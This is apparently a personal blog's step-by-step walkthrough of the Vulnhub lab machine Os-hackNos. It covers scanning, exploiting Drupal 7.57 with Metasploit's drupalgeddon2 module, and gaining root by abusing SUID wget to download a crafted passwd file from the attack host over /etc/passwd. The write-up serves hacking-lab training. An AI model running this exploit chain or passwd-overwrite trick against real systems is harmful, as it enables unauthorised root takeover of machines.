banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Os-hackNos-Vulnhub 逐步指南

靶機地址

靶機難度:初等中等之間
flag 數:2

工具及漏洞信息#

  • netdiscover
  • nmap
  • gobuster
  • msf 的 drupal 漏洞利用模塊
  • SUID 之 wget 提權

0x01 信息收集#

掃描靶機#

netdiscover-r參數掃描192.168.1.0/16結果如下:

image

nmap掃描主機及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.11

image

nmap掃描漏洞信息:

nmap --script nmap-vulners -sV 192.168.1.11

image

msf搜索cve漏洞:search cve:CVE-2019-10082

沒有什麼可利用的

掃描路徑#

gobuster 掃描路徑:

gobuster dir -u http://192.168.1.11 -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

image

又看見了我們熟悉的老朋友drupal,還有一個奇怪的路徑alexander.txt,訪問得到內容如下:

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

image

base64解碼後發現是Brainfuck code在線解碼james:Hacker@4514

嘗試使用得到的帳號密碼通過 SSH 登錄靶機,無果

0x02 普通用戶 getshell#

好吧,那就回歸我們的老朋友drupal,使用之前在DC:7-Vulnhub 逐步指南中介紹過的droopescan:

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.12/drupal -t 32

image

掃描出來的是7.57版本,而漏洞庫是包含這個版本的:

image

啟動msf,使用效果比較好的模塊exploit/unix/webapp/drupal_drupalgeddon2:

image

成功獲得meterpreter會話,進入shell後發現又是無回顯環境,於是使用python獲取一個tty

python -c 'import pty; pty.spawn("/bin/bash")'
有些沒有安裝`python2`,所以需要換成
python3 -c 'import pty; pty.spawn("/bin/bash")'

image

如果你想使用clear清屏,那麼只需要給TERM這個環境變量賦值screen即可

export TERM=screen,賦值xterm也可以,然後輸入screen回車即可清屏

0x03 提權 root#

Linux常見提權方法有以下三大類:

  • 本地提權
  • 資料庫提權
  • 第三方軟件提權

而第三方軟件提權我們往往使用suid來提權

檢查哪些命令具有suid權限,SUID提權在前面的文章《bossplayersCTF:1-Vulnhub 逐步指南》中介紹過

find / -perm -u=s -type f 2>/dev/null
  • /: 在根目錄下查找
  • perm: 查找指定權限的文件,/u=s 或者 - u=s 參數列出系統中所有SUID的檔案
  • type: 找符合指定的文件類型的文件,-type f: 查找指定目錄下所有普通文件
  • 2>/dev/null: 2 > 部分的意思是 “重定向文件通道號 2”- 映射到標準錯誤文件通道 stderr,這是程序經常將錯誤寫入其中的位置,/dev/null 是一種特殊字符設備,只允許向其中寫入任何內容;閱讀時,它不會返回任何內容,因此 2>/dev/null 讓 shell 將標準錯誤從正在運行的程序重定向到 /dev/null,從而有效地將其忽略。
  • SUID: SUID (Set owner User ID up on execution) 簡單來說。suid,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。所以我們去找一個文件擁有者為 root,而且其執行位上有 s 的執行文件,那麼即使我們用普通用戶運行這個文件時,這個文件的執行權限就是 root

image

看到了一个常用的SUID提權軟件wgetwget提權的流程簡化為下;

  • 攻擊機使用opensssl生成加密密碼
  • 拼湊一些特殊標誌位拼湊成為一條用戶hash信息寫入passwd文件
  • 在目標機的完整shell中使用wget下載passwd文件並覆蓋目標機/etc/passwd
  • 切換我們手動 “創建” 的用戶,輸入我們自己設置的密碼,獲取root權限

具體操作如下:

生成密碼哈希,後面的密碼可以自定義,你記住就行:
openssl passwd -1 -salt salt soapffz
加上拼湊位寫入文件:
echo 'soapffz:$1$salt$dyEMWdWzqBIZJWWvteXEg0:0:0::/root/:/bin/bash' >> passwd

image

然後在shell裡下載文件 (/etc 文件夾):

wget http://192.168.1.11/passwd -O passwd
su soapffz

即可成功提權rootshell

參考文章:

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。